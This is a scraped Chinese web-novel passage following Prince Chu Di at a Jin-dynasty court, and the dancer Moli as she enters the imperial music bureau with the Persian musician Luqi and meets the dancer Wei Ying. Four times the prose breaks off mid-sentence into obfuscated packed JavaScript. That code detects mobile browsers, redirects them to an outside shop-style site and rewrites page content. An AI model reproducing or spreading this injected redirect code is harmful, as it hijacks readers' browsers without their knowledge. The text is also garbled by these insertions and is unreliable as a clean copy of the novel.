“我师父进出皇宫大内易如反掌，即便当初冠军侯和崔平陆联手抓捕也不曾落网，你算什么东西？也敢来威逼利诱。” 楚棣心里有底了，风轻云淡道： “前辈姓楚，单名一个沅字，可对？” 他曾听过这桩旧事，楚沅确是高手无疑，可受围捕之际若非有一男子相帮，是决计逃不出去的。如此看来，她金盆洗手实是空穴来风。 楚沅有些自得： “你这小子不赖，身在官门，却对江湖之事也有了解。” 楚棣格格一笑，手将剑按得更紧，念道： “前辈可还记得‘浮梁半载，荒唐至极，余常思之，独沉吟自喜——’” 楚沅立时心头一颤，面色惨白。这是她写给爱郎的诀别信，这小子如何知道？难不成是他的至交好友？隋意，到底是谁？未曾听过。 一时想问，一时想骂，耳听得已念完一大段，只觉面上做烧，头皮发麻，千言万语堵在喉咙里，终于恼羞成怒，飞身跃起，拔剑刺去。 楚棣没料到她是这般，拔出剑，身子一侧将将躲过，随即一蹬马镫，跃身向盗贼面门刺去。 楚沅回身，紧抓不放，盗贼亦转身闪躲，剑尖滞在空中微微一抖，只待楚沅发力，他便重重摔倒在地，此后接连几势，俱是半招未完。 有师父在此，小贼登时信心倍增，这厢歇了片刻，自是想与楚棣分个高低，便也拔出剑来过招。 师徒二人齐上，一人攻上，一人攻下，一时又转换位置，剑光乱颤，累得楚棣眼花缭乱，毫无招架之力，终于被楚沅在腿上刺了一剑，顿时血流如注。幸好楚沅顾忌他的身份，立刻收回剑势，稳稳落地。 楚棣一手撑着剑，跪倒在地，疼至满头虚汗仍不忘讥笑： “以多胜少，以大胜小，前辈好没江湖道义。” 楚沅将剑悬在他颈上，喝问： “你到底是谁？和他什么关系？” 楚棣按住伤口，强忍痛楚： “你不说他的名字，我怎么知道你问的是谁。” “你这小子！”楚沅回头看一眼徒儿，心中颇有顾忌，虽想刺这小子几剑，但顾念旧情，只是忍了，收剑转身道： “我不想伤你。你既不肯说，那咱们就此别过。” 楚棣已疼得站不起了，倒在地上，只说多谢前辈，顷刻便昏过去。途中短暂清醒过，就是那时才躲在枯树叶下取暖。 直到，遇见文君姑娘—— 楚棣心想，自己正当婚龄，阿耶阿娘为这事操心已久，定不喜欢什么有救命之恩的女子，故而将被救一事在心底删削一番才说出来。 窦皇后“嗯”一声，摸摸他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120110|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发髻： “你这孩子就一点不好，总不把性命当一回事。这回运气好，那贼人手下留情，若是不留情呢，你叫阿耶阿娘怎么办？” 楚棣伏在母亲膝上，心里喜滋滋的。 紧接着，窦皇后又说： “来日又叫你大哥怎么办？” 裴念元见楚棣神情突变，也略替他不值，可这有什么办法，谁让摊上一双偏心眼的父母。 楚棣不敢叹气，只是想，好端端的，阿娘提太子做甚？就不能对我有片刻关心吗？不想理，只是赖在膝头休息。 倒是窦皇后深叹一气，轻抚他的肩膀，小心翼翼地问： “棣儿，阿娘说了让你不高兴的话吗？” 楚棣闭起眼，不做声，心里和鼻子都酸溜溜的。作为人子，他自然可以抱怨父母的忽视，可在“亲”之前，他们更是“君”。说什么数落抱怨，他不该，也不敢。想清这一节，心里的不快已消去大半。又想，有阿娘这句话，只要有她在一日，太子便对自己好一日，倒也不赖。 当下昏昏沉沉睡了过去。 裴念元怎勘不破这心思？只能打圆场，压低声音： “娘娘不必多虑，殿下只是睡过去了。” 窦皇后顺阶而下： “想来这两日胆战心惊，棣儿万分疲惫。” 裴念元胡乱应一声，满心想，会哭的孩子有糖吃，二殿下趁此机会闹上一回，望娘娘从此能对他上心一些。 楚棣这觉睡得昏天黑地，中途醒来恰似大石压身，动弹不得，只能合眼再睡。 忽听得外头有人说道： “自今年开春受了寒，朕便三天一小病，五天一大病，太医们都不敢说实话，可我知道，我怕是不中用了。” “陛下，您不会有事的！您不是说，要看着大晋的明月朗照宇内吗？” “难为你还记得，这是咱们新婚之夜所言。”他轻声地笑，满怀歉意：“文君，你不要哭...是我对不住你，我今生今世都欠着你，如有来生，我想我们仍要结为夫妻，生儿育女。我永远都感激那一天，姑妈将你带到宫里，让我遇见你......” “九哥——” 楚棣知是父母在外殿说话，只是不明白，阿耶正当壮年，怎说这话？纵然关心，但此时出去多有不便，只好继续侧耳倾听。 又听皇帝道： “棠儿虽然乳纯任性，但胜在权术纯熟，瑕不掩瑜吧，将来继承大统，必会施行文政休养生息，这正是朕之所愿。如意还小，天真烂漫，棠儿会一生一世照拂妹妹。我如今担心的是棣儿，他生性疏阔慈悲，这庙堂诡谲，原不是他该来的地方，可谁让他命不好，托生在皇家。” 窦皇后宽解道： “郎君不必担心，棠儿长大了，心里疼他弟弟妹妹呢。” “都怪咱们太疼他！让他以为这世上所有人都该爱他敬他，一有不爱他敬他的，立刻就怨怪起来。” “这不该么？他生来就是太子呀！” “该，当然该。可是他的弟弟真心爱他敬他，他总是不信。” 楚棣听到父母如此了解他和太子，不禁更凝神倾听。 5. 潇湘无限路 不料外殿就此沉默，过了半晌，楚棣忽然大叫： “父亲，快来救我！父亲，父亲！” 帝后闻声俱是一惊，旋即起身往内殿去，生怕迟上半步。皇帝急急地走到床前，一把抓住楚棣乱舞的双手，关切道： “棣儿，棣儿，父亲在这儿！你怎么了？” 楚棣状似惊醒，立刻扑将过去，贴在他身上才算安心。 “儿子做了个奇怪的梦。” 窦皇后看见这父慈子孝的一幕，反而有些生疑，然后才是心疼，待到皇帝身后，方打趣道： “想必是梦里淘气被我罚了，否则怎么单喊耶耶救你。” 楚棣撒娇道： “阿娘不疼我了！” 窦皇后便更上前，和皇帝一齐在他床前，轻轻一捏他的脸颊，笑道： “再这样淘气，阿娘真不疼你了。” 皇帝轻抚楚棣背心，松开后，认真地上下打量，恰有一束秋阳斜照在他脸上，净无瑕秽，正当少年，端的内外明澈。不禁万分欣慰。眉眼俱笑道： “棣儿，我的好孩子，阿耶阿娘会永远疼你。” 楚棣有些委屈，低声道： “可是儿子害怕。” 皇帝安慰道： “不要怕，相信阿耶一次，好吗？” 听见父母先前那些话，楚棣心中不免凄凉。他们本是一母同胞的兄弟，可是想到将来，阿耶不在了，自己这条小命保不齐会受他威胁，到那时可怎么办？他从未生过争心，可也从未存过死志。 要好好活着，怎么这样难？ 楚棣颤声道： “儿子没有兄长那般大志，从来只想......得个荫封，平平安安过活一世。” 窦皇后虽然偏疼太子，可并不是黑心的母亲，但见他怕成这样，也是心疼得紧，只怕这恐惧令他与兄长离心。坐下注视着他，自言自语： “这孩子是不是发烧了？”说着便去摸他的额头，“阿娘跟你开玩笑，怎么说起这些话来。” 皇帝自知寿数将尽，本就为这一双儿子焦心万状，本以为平日里兄友弟恭全出自真心，谁成想今日有这一出，略一细想，便觉后悔。至于悔些什么，他心里不算清楚。 帝后倍感无奈，四目相对，同时叹出一口气来，他们都了解小儿子心底的恐惧，只道将来太子登基，他若长久地活在恐惧中，只怕也活不长久。 楚棣目不转睛地瞧着父母，见他们神情复杂，到底吃不准是什么意思，一想，眼泪一抹就要下床去。 窦皇后道他并未发烧，既然没事，却这样言行无状，心便悬得更高了。 皇帝问：“不再歇会儿？” 楚棣泛着泪光：“听说阿兄卧病在床，儿子该过去探望。” 帝后见状，心里极不是滋味。皇帝又问： “棣儿，这些年，你都感到委屈吗？” 楚棣抬手用力在脸上一擦，有些颤抖，向帝后道： “儿子感念父母生养教育之恩，不委屈。”下床对他们深深一揖，咬紧嘴唇，旋身出门而去。 皇帝望着那倔强的背影，有心无力，只得转头向窦皇后，娓娓道： “文君，你是知道的，自棣儿出世那一刻起，朕便设想好了他们的一生——棠儿是太子，自幼，朕为他种下一颗王心，教他权术、制衡、藏污纳垢，化腐为金，他天资极佳，不负朕之所望，成为了一个出色的太子，假以时日，定能胜任治国大任。” “至于棣儿，心胸坦荡的，正好做个孤臣，只需一心一意辅佐太子，将来便能成为国之栋梁。兄弟二人共同开创一个政治清明的盛世。可朕没想到，他们会对彼此生出猜忌。如今想来，棣儿从未有过一个争的机会，难道是朕做错了吗？” 窦皇后轻轻牵起皇帝的手，如少时那般伏在他肩头，轻声叹道： “手心手背都是肉，可棠儿不一样，他毕竟......毕竟是咱们第一个孩子呀！棣儿想是，这两日在外头受了惊吓，才闹这一场。只要陛下好好将养身子，往后有的是时日消弭心结。” 皇帝只环抱着她，不由得眼眶红了，微微颔首苦笑。 少年夫妻，心有灵犀，一切尽在不言中。 太极宫外，楚棣悄立半晌，刚才走得急，腿伤又隐隐作痛，他只不当一回事。眼下他还不想去东宫，良久良久，忽然想起文君姑娘，不知道她是否到了教坊司，又是否一切顺利。 老天爷总捉弄好人，她那样好，可别再受薄待了。 茉莉顾不上玩乐，问着路直奔教坊司去，路上有人和她搭讪，她只充耳不闻，径自朝目标前行。 雨渐渐停了，她收起伞，见云彩之中射出一束白光，慢慢地幻化成金色，在她眼前铺出一条光明大道，越走越加开阔。 仿佛这天大地大，全是为她一个。 家中之事虽烦扰着茉莉，但如今有了新指望，她相信，只要进入教坊司，便是父亲找到她也没关系。何况那隋公子说过，崔将军会照拂她的，自己是他救命恩人，他人很好，想必不会说谎。 只是分手之时，没有细问他的去处，不知道将来是否能再见面，不管怎样，她仍希望能与他再见一面...... 不知不觉，茉莉已至教坊司外，只见门口排着几列长队，秩序极好，正安安静静地向前移动。 她收紧包袱，走到前面那人身边，低声道： “请问先生，这队伍是登记入教坊司参与选拔的吗？” 那人扭脸，却是个相貌平平的胡人，身上穿着黑袍，在阳光下泛出银青的光泽。他初来乍到，听不懂几句官话，单是应一声。 茉莉翻着大眼睛思索，又看看他，心道，叽里咕噜说什么呢。一时好奇，认真打量起来，这胡人麦色皮肤，高鼻深目，木兰色的眼珠又大又亮，没有蓄须，因此猜想年岁不大，面颊上有几颗痣，位置极好，其中有一颗正在左眼下，甚有风情。 茉莉问：“你能听懂我说话吗？” 这回他听懂了，艰涩地答：“我听不懂。” 茉莉脱口而出：“那你来这里做什么呢？” 胡人丝毫没有面热，单是指向背上的胡琴，用生硬的雅言答道：“我奉女王之命，来为大晋皇帝陛下献艺。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120111|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茉莉悄悄笑他，皇帝便是皇帝，陛下便是陛下，什么皇帝陛下，真有意思。又问：“那你叫什么名字？” 胡人从怀中掏出一个巴掌大的小册子，翻开指着上头汉文：“我叫鹭起。” 茉莉琢磨，这字真难写，下面有个鸟字，想必是白鹭的鹭，要是直白一些就该叫鸟飞了。 鹭起解释道：“名字是先生起的，我不知道什么意思。” 茉莉肚里没多少墨水，加以这是没听过的典，便更没法子显摆。 鹭起眼中含笑，好奇地问：“你叫什么名字？” 茉莉想起昨夜隋意之言，坦然道：“我叫茉莉，”怕他听不懂，便解释道：“是一种白色小花，长在树上，夏天开的，很香很香。” 鹭起摇摇头，仍然不太懂，抬手挠了挠头，反问道：“你来做什么？” 茉莉答：“我想入教坊司跳舞。” 鹭起终于听懂了，上下打量她一番，但觉她与本国女子不同，如此纤细瘦弱，翩翩起舞时，岂不如蝴蝶一般？不禁口若悬河地赞美起来。 终于轮到茉莉不懂，若换旁人来说，她定觉得枯燥厌烦，但眼前是个胡人，但觉有几分乐趣，因此生出兴致。 队伍缓慢挪动，自门内走出一个身着绯服的官员，身旁跟一个年轻绿袍堂官，一见鹭起，便叽里呱啦说一大堆，而后才用雅言引见：“大人，这是随波斯国使者一行前来朝见圣人的胡琴大师，叫做鹭起。” 绯服官员对鹭起颔首一笑，极客气。正要说话，却忽然瞥见茉莉，心想这女子分明是晋人，怎么跟这胡人混在一起。好奇道：“这位姑娘是？” 绿袍堂官原话转问，鹭起看一眼茉莉，对两位官员道：“我们是一起的。” 绯服官员仍一副笑脸：“那二位一起请吧。” 得了这番奇遇，茉莉云里雾里已被带入太常寺中，与鹭起同受百般礼遇，不免受宠若惊，悄声道谢几次过后，念及语言不通，只好先缄口不言，免得被人看出破绽，赶将出去。 青袍堂官陪鹭起在一旁闲聊，那绯服官员则核对名册，并未看见第二个人的名字，思来想去，还是将茉莉唤到面前，声音平平，没有任何起伏：“姑娘，你当真是从波斯前来献艺的？” 茉莉心虚，不敢撒谎，闻言埋下脑袋，低声道：“不是。” 绯服官员问：“那这乐师怎说你们一起？” 茉莉答：“不知道，我们将将才认识。” 绯服官员捋一把胡须：“那你来太常寺所为何事？” 茉莉猜想他是有权定夺的人，生怕误会，当即朝他盈盈一跪：“小女自幼习舞，听闻教坊司招募伶人，便赶来参与遴选，不想门外与鹭起先生一见如故，因而入得太常寺中。小女句句属实，请大人明鉴。” 打量她还算诚实，绯服官员当即微微笑道：“原来如此。”想到外廷通译紧缺，忽然心生一计，“你们既然认识，便先一道去梨园安置吧。明日一早，我差人领你去见教坊司监，至于能否入选，就看你的造化啦！” 茉莉闻言，欢天喜地道：“小女谢过大人！” 6. 浓淡由风雪 绯服官员不动声色地，打量茉莉几遍，问道：“你会说波斯语？” 茉莉这便懂了，此官给她机会，全然是看鹭起的面子，生怕他改口，于是信口答道：“会一点点。” “真是再好不过了！”绯服官员淡淡一笑，“这琴师远来是客，等闲时候你可以带他四处逛逛，见识见识长安风物。” 茉莉沉吟片刻，只得说：“好。”于她而言，办法总比困难多，不会说波斯话没关系，还有手，能比划。 绯服官员这便走了，那青袍堂官正好叙完话，起身从怀里掏出一本小册子递给她，道：“这是我初学波斯语时做的便宜册，日常衣食住行会说的话基本都记录在册了。你可以拿它做个参考。”但见她迟疑，又笑道：“不过这是笨法子。姑娘冰雪聪明，想必用不上。” 茉莉连忙接过，笑说：“用得上，用得上！多谢大人美意。”可一接过来，便犯起愁来，自己大字不识一箩筐，该怎么学习册子上的句子？ 青袍堂官仿佛看透她的顾虑，说道：“我的字不算漂亮，若有哪些看不清楚，姑娘尽可以来问我。我姓王，双名伊州，现在鸿胪寺中任职。” 这王伊州虽只绿袍，但其出身太原王氏，深受家学熏陶，是个教养极好、无比斯文随和的人，精通波斯语、突厥语和吐火罗语。两年前考中明经科，得以入仕，眼下正处历练，将来有幸持节出使，定为朝廷立下功劳。 “那就叨扰了。”茉莉不解道：“可这里是教坊呀！” 王伊州解释：“再过一个多月就是圣人登基三十年的庆典，届时万国来朝，其中有不少献艺的琴师伶人，需要通译随行帮助，以尽地主之谊。” 茉莉恍然大悟：“原来是这样。这么说来，王大人是负责接待的通译？” 王伊州点头：“是。” 茉莉心想，要把这叽里咕噜的话说得像官话一样流利，脑子得多厉害呀！ 鹭起过来和她一道对王伊州作揖，嘴里不住说：“谢谢，谢谢。” 梨园西北角专供番邦艺人栖息，鹭起拿着一张图纸，沿上头指引一路寻去。茉莉跟在身后，只见他背上的胡琴包裹严实，丝毫不露。 园中道路如迷宫一般，二人七弯八拐，险些迷失，俱双脚发胀，却不喊累，穿过三道月门，终于瞧见近处一进竹叶掩映的院子。茉莉心想，可算是到了，遂翻开册子，学着问：“我们住在这里？” 鹭起听见乡音，既惊讶又欣喜，回身对茉莉笑道：“是这里。”随即推门入院，又是左转右转，这才找到房间落脚。 昨夜歇在崔府，珍楼宝物，金碧辉煌，今日入住这一间小小耳房，虽然五脏俱全，却当真是云泥之别，不过茉莉心里欢喜——只要明朝入选，往后自己就有处落脚了。 茉莉累极了，也兴奋极了，睡是睡不着的。她坐在床上，拆开随身的包袱，见屋角有一方一人高的黄花梨木柜，空空如也，正是放东西的好地方，遂将包袱系紧放到最高处，拿梳妆台上的铜锁锁好。 忽听得有人敲门，茉莉收好钥匙前去开门，叫到：“鹭起先生，你有事吗？” 鹭起站在门外，神色拘谨：“我很喜欢这里，你喜欢吗？” 茉莉急忙回去拿起册字，按他刚才的吐字归音找到那句话，答道：“我喜欢，谢谢。” 鹭起好奇，凑过去一起看，见书上每一句话都有波斯语注脚，便满是欣喜地搂紧她：“太好了，我们可以在这里说话！” 茉莉身子一震，立时霞飞两颊，从鹭起臂膀里脱身出去，解释道：“男女有别，我们不能这样。” 鹭起顿住，想起先生教的中原规矩，知道自己忘形了，旋即向后一退，柔声道歉：“对不起，我做错了。” 茉莉倒是大度：“没事。只是，下次你可别再这样了，让人看见不好。” 这话鹭起哪能听懂？当下只一味点头糊弄。见茉莉当真不生气才问：“你饿吗？” 茉莉腹中空空，着实饿了，遂答：“饿。” “你想吃什么？”鹭起问。 茉莉心想，幸好有他，自己今日才顺利找到住处，怎么着也该请他吃上一顿饭，但眼下前途未定，节省银子为第一要务，故而反问：“你想吃什么？” 鹭起住长安半月有余，吃过许多热烘烘、香喷喷的中原饭菜，其中有一道葱姜鸡鲜香滑嫩，最合他的胃口，想好答：“清蒸淋过热油，洒上很多生姜葱的鸡肉。” 茉莉一听，便知是家中常吃的菜式，故又问：“在哪里吃？” 鹭起想了想：“杏花楼。” 这可是朱雀大街上最贵的酒楼之一呀！多少达官贵人前去光顾。他们吃一顿要花多少银子？入城时茉莉路过，这厢转念一想，就他们两个，吃不了几个菜，咬咬牙，应了。 收拾停当，待得二人出门时，正是午膳时分，一路溜达至杏花楼，在大堂最角落坐下。舞台居中，客人环绕四周，台上衣香鬓影，乐声阵阵。 胡琴和胡笳糅合出激情的乐曲，不同服色的女伶，伴随乐声起舞，脚踝上铃音清脆，如向导一般，将看官引领到大漠深处的绿洲之畔，沐浴在金灿灿的艳阳中、黄沙里。 好精妙的舞！ 女伶来自西域或天竺，个个相貌秾丽，眼神活泼顽皮，四下流转，手脚指甲上都涂着极艳的蔻丹，在空中翻飞，极是亮眼。细看服饰，其实是最常见而简单的颜色，赤、橙、黄、绿、青、蓝、紫，薄薄的两三层纱衣，裹住肩膀、细腰、臀和腿，翩翩起舞时，若隐若现。 乐师如痴如醉，半梦半醒地拨弄手中器物，滥竽充数，也实在不是少数。 茉莉与鹭起各有各的侧重，看过好半晌，点的四个菜都上了，卤牛肉、葱姜鸡、乳饼和醋芹，另一人一碗粳米饭，热气腾腾的，好香。 鹭起端起碗，吃力地夹起一块鸡肉，大吃起来。 一舞毕，茉莉目光停在他拿筷子的手指上，忽然一笑。 鹭起停嘴，一双甜蜜的眼睛直视着她：“有什么问题吗？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120112|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 茉莉连忙翻书查看，确定他的意思后回答：“我瞧你拿筷子的样子很有趣。” 鹭起不解，拿起筷子，两根手指正按在中间，十分费劲。 茉莉也拿筷子演示：“我们是这样的。” 鹭起不以为意，继续吃，换个话题道：“你喜欢这里吗？” 楼内雕梁画栋，楼内酣歌热舞，美食佳肴，一应俱全，来往客人形形色色，卖力演出这世间百态。 茉莉庆幸自己选择出逃，否则余生再无机会窥看这凡尘种种。放下筷子答道：“我很喜欢。” 鹭起手舞足蹈地说：“我喜欢热闹，这里有人唱歌有人跳舞，还有这么多观众，我很想去演奏一曲。你会跳舞，你和我一起表演，好吗？” 话太多，语速又快，即便是翻书，茉莉亦不解其意，满眼盛着迷茫，急切道：“我听不懂呀！” 鹭起指向台上的乐师，又指向自己，作出一个拉琴的手势，然后指向她。 茉莉恍然大悟：“你的意思是，我们一起去表演？” 鹭起兴奋地点头，注视着她，像含着蜜。 茉莉扭扭捏捏，半去不去，不待她答应或不答应，鹭起已忘形地拉起她，溜过人群，到了胡琴乐师身边，只是嘀嘀咕咕地说几句，那人就起身让位。 无人发觉已换新篇。 琴声起，茉莉悄悄挪到女伶最后，着绛红破裙，一枝独秀，本想把那支舞照原样跳上一遍，却不料曲子一变，是《采薇》。 茉莉初学时，这一舞跳得最好，一应动作、情绪，表情表态，深入骨髓，——抬手起势，莲步轻移，甩袖、下腰、转身、跳跃，一气呵成，未经排演，却比所有女伶都跳得好。 琴声渐尽，茉莉越发沉醉其中，那厢盈盈坐在地上，一扭身，以脚背受力站起，众人掌声雷动。 难免洋洋自得。笑意盈盈，仰首与上首的年轻客人对个满眼，咦，是个玉面郎君呢，怎么这样吓人？ 赶忙移开双眼去找鹭起，与琴声一齐落幕，甩袖一礼，旋身下台。 宾客如痴如醉，分不清，是舞更好，还是乐更好，总之是相得益彰。 鹭起还了琴，连忙追着她身影而去。 二人回到座中，残羹剩饭俱在。鹭起又在说话，茉莉听不懂，只是不理，拿起茶杯痛饮，直到心跳渐渐平稳才跟他搭话，赞道：“你的琴拉得太好了。” 鹭起大笑：“你跳得也很好，”喝一口茶，打趣道：“我刚才看见这里很多男人看你，看得眼睛都直了呢。” 那被吸引的人里，自然有他一个。 “别瞎说。”茉莉猜到他的意思，难免害羞。 鹭起看她可怜又可爱，还道：“你一定会顺利进入教坊司的，因为你是我见过的，最会跳舞的人。” “是吗？”茉莉其实不懂，只是礼尚往来，“来日你去向圣人献艺，定会受到赏识，到那时，可别忘了我啊。” 鹭起明明白白，他这一辈子，都不会忘记她。 7. 共得一片天 一夜秋雨绵绵，世界被浸润在淅淅沥沥的雨中，清凉而潮湿。寒气渐来，该添衣了。一大早，梨园里，吊嗓的吊嗓，弹奏的弹奏，热闹非凡。 但茉莉是被冷醒的，坐在床上裹紧被子，注视着外间，魂灵随窗外微颤的草木而动。 今日参选，她不能迟到。麻利地穿上衣裙，出门打一盆凉水，抖擞着捧到脸上，真冷！擦干脸坐到梳妆镜前，挽一对垂鬟分绡髻，再从包袱里翻出一支鎏金蝴蝶簪插在头上，两颊微红，国色清清，绿鬓朱颜，不染尘埃。 有人敲门，必是那位大人派来的。茉莉起身，对镜抚平裙上褶皱，回身开门。 鹭起亦在门外，一见着她，当时眼前一亮。如果西域女人是太阳，艳丽热烈，那么她是月亮，清白淡然，是全然不同的两种光芒，但相同的是，都可以照亮男人的未来。 还未来得及寒暄，便有人抢先开口： “茉莉姑娘，在下是刘大人派来接您去参选的。” “多谢大哥。” 茉莉先对他点头，然后扭脸对鹭起一笑，问道： “你昨晚睡得好吗？” “很好。你呢？” “还不错，只是夜里有点冷。”茉莉打了个喷嚏，“等事情办完，我想去买两身衣裳。” 那接引人接言：“姑娘受了风寒？等到地方，喝碗姜茶暖暖身子吧。” 茉莉点头道：“那倒没有。还有多远呢？” “就快了。”接引人抬手一指，那方向隐约有鼓声传来，想是极热闹的。 茉莉回头问鹭起：“你今天上午有空吗？” 鹭起笑答：“当然！” 茉莉想了想，问道：“那我们中午还一起吃饭？” 鹭起点头：“当然！” 茉莉微微勾起嘴角，心想那太好了，有个伴儿总比孤身一人要好。 到了教坊司，鹭起候在门外，茉莉则随接引人进去登记等候。 一众女伶齐聚一堂，三三两两站着，都为自身理想而等待。比起那几个稳操胜券的，更多的是紧张、害怕。有人疑心外貌或身材不佳，有人在检查妆面服饰，有人只是闲谈，结交朋友...... 在她们之中，有一个与众不同的人，柳叶眉间发，榴花额间生，红装素裹，静候场边。 “魏姑娘一舞动长安，是今年的五月花神，想必今日准能入选内人。要是将来去御前献舞，凭那样貌、舞艺，一朝飞上......” “低声些，不要妄言。”那姑娘倒很伶俐，压低声音：“当心被他们听见赶你出去。” “外面都这样说，不是我一个人。” “别人说是别人的事，你传到这里来，便是你的事。” “好吧。”这人犹有不服。 茉莉在二人身后，听到那美人有“五月花神”美名，难免好奇，凑得越发近。她在闺中听说，花神是民间选出的美人，若有造化，可做皇妾，那头几年的总花神，有一个便是如今的东宫侧妃。 这魏姑娘肌肤胜雪，绰约如处子，不声不响，便已十分动人。 茉莉想去坐着等，可自己这身衣裳，在她身边岂不像个丫鬟？正矛盾时，发现魏姑娘在看她，随即轻声问道：“你是昨日在杏花楼跳舞的那位姑娘？” 茉莉自辨道：“是我，但我不是那里的舞娘。” 魏姑娘展颜一笑，浑似姑射仙子，声音极柔：“我知道，我看见你们了。” 茉莉面上一热，走上前：“原来是这样。”在她身边坐下。 魏姑娘见她穿得单薄，顺势把手边披风给她披上，赞道：“我看你跳时就想到‘昔我往矣，杨柳依依。今我来思，雨雪霏霏。’我跳的时候却不曾有这般意境，真叫人自愧不如。” “姐姐谬赞了，其实我不通诗文，下的都是笨功夫。”茉莉想起年幼时练舞的光景，眼底忽然亮晶晶的，“不怕姐姐笑话，这曲《采薇》我只怕练过上百遍，熟能生巧而已。” “大家瞧着都觉得好，你可不要妄自菲薄。”魏姑娘看她稚嫩，轻握她的手，笑道：“我叫魏缨，妹妹你呢？” “我叫茉莉。”茉莉离她好近，目光在她花树堆雪的面庞上流连，像欣赏一幅传世画卷，当真不是一般庸脂俗粉。 这种存粹的欣赏，让魏缨面上一红，只好攫住她，轻声问：“妹妹何故如此看我，难道姐姐脸上有脏东西么？” 茉莉噙起笑意，打趣道：“小妹正专心瞻仰榴花女神的样子嘛。” “油嘴滑舌哎，”魏缨睨她一眼，嗔道：“那茉莉呢，天赋仙姿，玉骨冰肌，环佩青衣，盈盈素靥。有人可说过‘他年我若修花史，列作人间第一香’，这可好不好呢？” “姐姐休要臊我，幸好我听不懂。”茉莉作势，倒吸一口凉气，便无辜地看她。 魏缨怎不知这是卖乖，但见她年纪略小，乐得照单全收，重新新起个话： “你怎穿得这样少？” “我刚到长安，还没来得及去买新衣裙呢。” “那你现在还冷吗？” 茉莉左右看看披风，裹得可紧了，笑道：“有姐姐给的披风就不冷了。” 魏缨眼眶泛红。 她是罪官之女，坐法那日，家中男丁流放岭南，女眷没入掖庭为奴。那年她方十岁，母亲不堪受辱，终日神思郁结，不久后便撒手人寰，独留她与幼妹相依为命。 在掖庭中，她因貌美备受欺凌，后来幸得贵人庇佑，得了个不好不坏的差事，苟延残喘。终于，熬到皇太孙出世那年，圣人下旨大赦天下，她和妹妹恢复良籍，在长安城中住下。 至于舞蹈，便是贵人将妹妹接走后开始学的。生怕达不到贵人要求，她是早也用功，晚也用功，皇天不负苦心人，叫她争得花神名头，有望再进一步。 她虽年轻，可并不糊涂，她早已清楚，她这一生只能是一颗棋子，有再大的造化，无非是从这个格子跳到那个格子。 自堂上走出一名女官，高声宣道：“魏缨《汉宫秋月》。” 茉莉起身，依依地望她离去。 昏暗的天光里，她的背影看不分明。 众人起身，一拥而上，有的扒在门边，有的扒在窗台，茉莉自然也不例外，在宣读女官旁边踮脚去看。 魏缨对堂上盈盈一礼。 悠悠琴声起。 窗棱间透来一缕金光，将她拢住，清风穿堂而过，发丝微动，一如神女降世。 她抬手，腰肢扭动柔软胜过一条蛇，水袖随心而动，柔中带刚，似一把利剑飞将出去，转过面来，笑靥如花，眼波流转，无限缠绵。 屏风后一人伫立，一手捻起腰间荷包，正在意料之中。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120113|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >茉莉看见他了，全神贯注地盯着魏缨，像在赏玩一件精雕细琢的器物。 魏缨强自陶醉地舞着。原来她也发现那个人了，目光再不能自已，含着春水，温柔而细腻，紧紧跟随，面颊因不可告人的心事而渐渐变得绯红，直到那人消失在屏风之后。 他转身走时，面色如初。 茉莉但觉诧异，难道这便是“神女有心，襄王无梦”么？她看见他的眼底，凝着永远不能化开的霜雪。 一舞结束，魏缨如愿当选内人，入教坊司。 茉莉为她开心，上堂献艺却是心事重重，还是那件事——不知他到底是谁，能令魏姐姐这般牵心挂肠？不如结束后再问问。 晕陶陶地舞完这一曲，不知已有人将她看在眼里，久久拿不定主意。 正要下去，监管看着眼前册子，喊：“上前回话。” 堂上坐着好几名女官，茉莉上前施礼，半蹲在地，久久没有抬头。 其中一人问道：“你是太常寺刘大人引荐，叫做茉莉？” “正是小女。” “抬起头来。” 茉莉踌躇地仰起下巴，目光又瞥见那屏风后的男人，正与一个大腹便便的绯服官员谈笑。 不待打量，堂上传来极低极轻的声音：“是个美人坯子，蛾眉皓目，干净、质朴。倘若交由檀华姑姑调-教，将来必定大有作为。” 未几，又有人说：“单论美貌，似乎不及魏缨，但好在舞艺扎实，去御前献艺未尝不可。” “收吧，收吧！刘大人的眼光，向来是不错的。” 